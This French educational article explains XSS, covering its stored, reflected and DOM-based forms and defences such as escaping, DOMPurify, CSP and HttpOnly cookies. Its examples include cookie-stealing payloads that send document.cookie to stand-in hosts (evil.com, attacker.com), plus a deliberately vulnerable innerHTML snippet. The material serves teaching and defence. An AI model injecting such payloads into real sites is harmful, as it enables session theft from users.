Aller au contenu principal

Concept #007

Sécurité

XSS (Cross-Site Scripting)

#0076 min de lecture
  • sécurité
  • web
  • programmation
XSS : quand le navigateur exécute du code malveillant

Le XSS (Cross-Site Scripting) figure au panthéon des failles web. Présent dans le TOP 10 de l'OWASP depuis des décennies, il consiste à injecter du code JavaScript malveillant dans une page web consultée par d'autres utilisateurs. Le navigateur de la victime exécute ce code sans se méfier : il vient d'un site qu'il considère comme de confiance.

Qu'est-ce que le XSS ?

Le principe est simple : une application web affiche du contenu fourni par les utilisateurs sans le valider correctement. Un attaquant en profite pour glisser une balise <script> ou un attribut d'événement (onload, onerror...) dans ce contenu. Quand la victime charge la page, son propre navigateur exécute le script — dans le contexte du site cible.

Ce qui rend le XSS particulièrement dangereux, c'est ce qu'un script peut faire depuis ce contexte : lire les cookies de session, intercepter les frappes clavier, rediriger l'utilisateur, afficher un faux formulaire de connexion, ou exfiltrer des données vers un serveur contrôlé par l'attaquant.

Les 3 types de XSS

1. XSS Stocké (Persistent XSS)

C'est la variante la plus dévastatrice. Le script malveillant est sauvegardé sur le serveur — dans une base de données, un commentaire, un profil utilisateur — et servi à tous les visiteurs qui consultent la page infectée.

Scénario typique : un forum sans protection. L'attaquant poste un commentaire contenant <script>document.location='https://evil.com/steal?c='+document.cookie</script>. Ce commentaire est stocké en base. Chaque visiteur qui charge la page déclenche le script et envoie ses cookies à l'attaquant.

2. XSS Réfléchi (Reflected XSS)

Le script malveillant n'est pas stocké : il est inclus dans une URL et renvoyé (réfléchi) par le serveur dans sa réponse. L'attaquant doit convaincre la victime de cliquer sur un lien piégé — souvent via un email de phishing ou un message.

Exemple d'URL piégée :

https://site-leger.com/search?q=<script>fetch('https://evil.com/?c='+document.cookie)</script>

Si le serveur affiche la valeur de q sans l'échapper, le script s'exécute dans le navigateur de la victime.

3. XSS DOM-based

Ici, le serveur n'est pas impliqué. La vulnérabilité réside entièrement côté client, dans le JavaScript de la page. Le script lit une source non fiable (hash de l'URL, document.referrer, localStorage...) et écrit son contenu dans le DOM sans sanitization.

// Code vulnérable côté client
const name = new URLSearchParams(location.search).get("name");
document.getElementById("greeting").innerHTML = "Bonjour " + name;
// URL : /page?name=<img src=x onerror=alert(document.cookie)>

Le serveur renvoie une page tout à fait normale. C'est le navigateur lui-même qui crée la vulnérabilité en manipulant le DOM.

Anatomie d'une attaque : le commentaire qui vole des sessions

Voici le déroulé complet d'une attaque XSS stockée sur un blog mal protégé :

1. L'attaquant poste un commentaire :

Super article !
<script>
  const img = new Image();
  img.src = "https://attacker.com/steal?session=" + encodeURIComponent(document.cookie);
</script>

2. Le serveur stocke ce commentaire tel quel en base de données.

3. Alice visite l'article. Son navigateur charge la page, parse le HTML, et exécute le script comme n'importe quel JavaScript légitime.

4. Le script crée une requête invisible vers attacker.com, en y annexant les cookies d'Alice — y compris son cookie de session sessionId=abc123.

5. L'attaquant récupère le cookie dans ses logs serveur et peut désormais usurper l'identité d'Alice en rejouant ce cookie dans ses propres requêtes.

Comment se protéger

La défense contre le XSS est multicouche. Aucune mesure seule ne suffit.

Échappement HTML (la règle n°1)

Toute donnée provenant de l'utilisateur et affichée dans du HTML doit être échappée. Les caractères <, >, ", ', et & doivent être convertis en entités HTML.

function escapeHtml(unsafe: string): string {
  return unsafe
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#039;");
}
 
// Usage
const userInput = '<script>alert("XSS")</script>';
const safe = escapeHtml(userInput);
// Résultat : &lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;
// Affiché comme du texte, jamais exécuté.

Sanitization avec une librairie dédiée

Quand l'utilisateur doit pouvoir entrer du HTML riche (éditeur de texte, markdown avec HTML autorisé), l'échappement brut ne suffit pas. Il faut sanitizer : conserver les balises autorisées, supprimer tout le reste.

import DOMPurify from "dompurify";
import { JSDOM } from "jsdom";
 
const window = new JSDOM("").window;
const purify = DOMPurify(window);
 
function sanitizeHtml(dirty: string): string {
  return purify.sanitize(dirty, {
    ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "ul", "li"],
    ALLOWED_ATTR: ["href", "title"],
  });
}
 
const input = '<b>Bonjour</b> <script>alert(1)</script> <a href="https://ok.com">lien</a>';
const clean = sanitizeHtml(input);
// Résultat : <b>Bonjour</b>  <a href="https://ok.com">lien</a>
// La balise <script> est supprimée, les balises autorisées sont conservées.

Content Security Policy (CSP)

La CSP est une en-tête HTTP qui indique au navigateur quelles sources de scripts sont autorisées. Même si un script XSS est injecté, il ne pourra pas s'exécuter s'il ne correspond pas à la politique déclarée.

// Dans un middleware Express
app.use((req, res, next) => {
  res.setHeader(
    "Content-Security-Policy",
    [
      "default-src 'self'",
      "script-src 'self' 'nonce-{RANDOM_NONCE}'", // Seuls les scripts avec le bon nonce s'exécutent
      "style-src 'self' 'unsafe-inline'",
      "img-src 'self' data: https:",
      "connect-src 'self'",
      "object-src 'none'",
      "base-uri 'self'",
    ].join("; ")
  );
  next();
});

Cookies HttpOnly et Secure

Si un cookie de session est marqué HttpOnly, JavaScript ne peut pas y accéder — même un script XSS réussi ne pourra pas le lire.

res.cookie("sessionId", token, {
  httpOnly: true,   // Inaccessible via document.cookie
  secure: true,     // Transmis uniquement en HTTPS
  sameSite: "strict", // Protection contre le CSRF en bonus
  maxAge: 3600000,
});

Éviter innerHTML, utiliser textContent

En JavaScript front-end, préférer textContent à innerHTML quand on affiche du texte utilisateur. textContent n'interprète jamais le HTML.

// Vulnérable
element.innerHTML = userInput;
 
// Sûr
element.textContent = userInput;
 
// Ou avec l'API DOM
const text = document.createTextNode(userInput);
element.appendChild(text);

Position dans le TOP 10 OWASP

Le XSS fait partie de la catégorie A03:2021 - Injection dans le classement OWASP Top 10 2021 (après avoir occupé sa propre catégorie A7 pendant des années). Ce regroupement reflète la nature commune de toutes les injections : faire interpréter des données comme du code.

L'OWASP estime que plus de 60 % des applications web présentent une forme de vulnérabilité XSS. C'est l'une des failles les plus signalées dans les programmes de bug bounty, et elle reste régulièrement exploitée malgré des décennies de sensibilisation.

Le récapitulatif

TypeStockageVecteurImpact
StockéServeur / BDDTout visiteur de la pageElevé — touche tous les utilisateurs
RéfléchiAucunLien piégé (email, message)Moyen — cible individuelle
DOM-basedAucunURL / source clientVariable — sans passage serveur

La règle d'or : ne jamais faire confiance à des données non contrôlées. Qu'elles viennent d'un formulaire, d'une URL, d'une API tierce ou même de votre propre base de données — chaque donnée affichée dans le navigateur doit être traitée comme potentiellement hostile.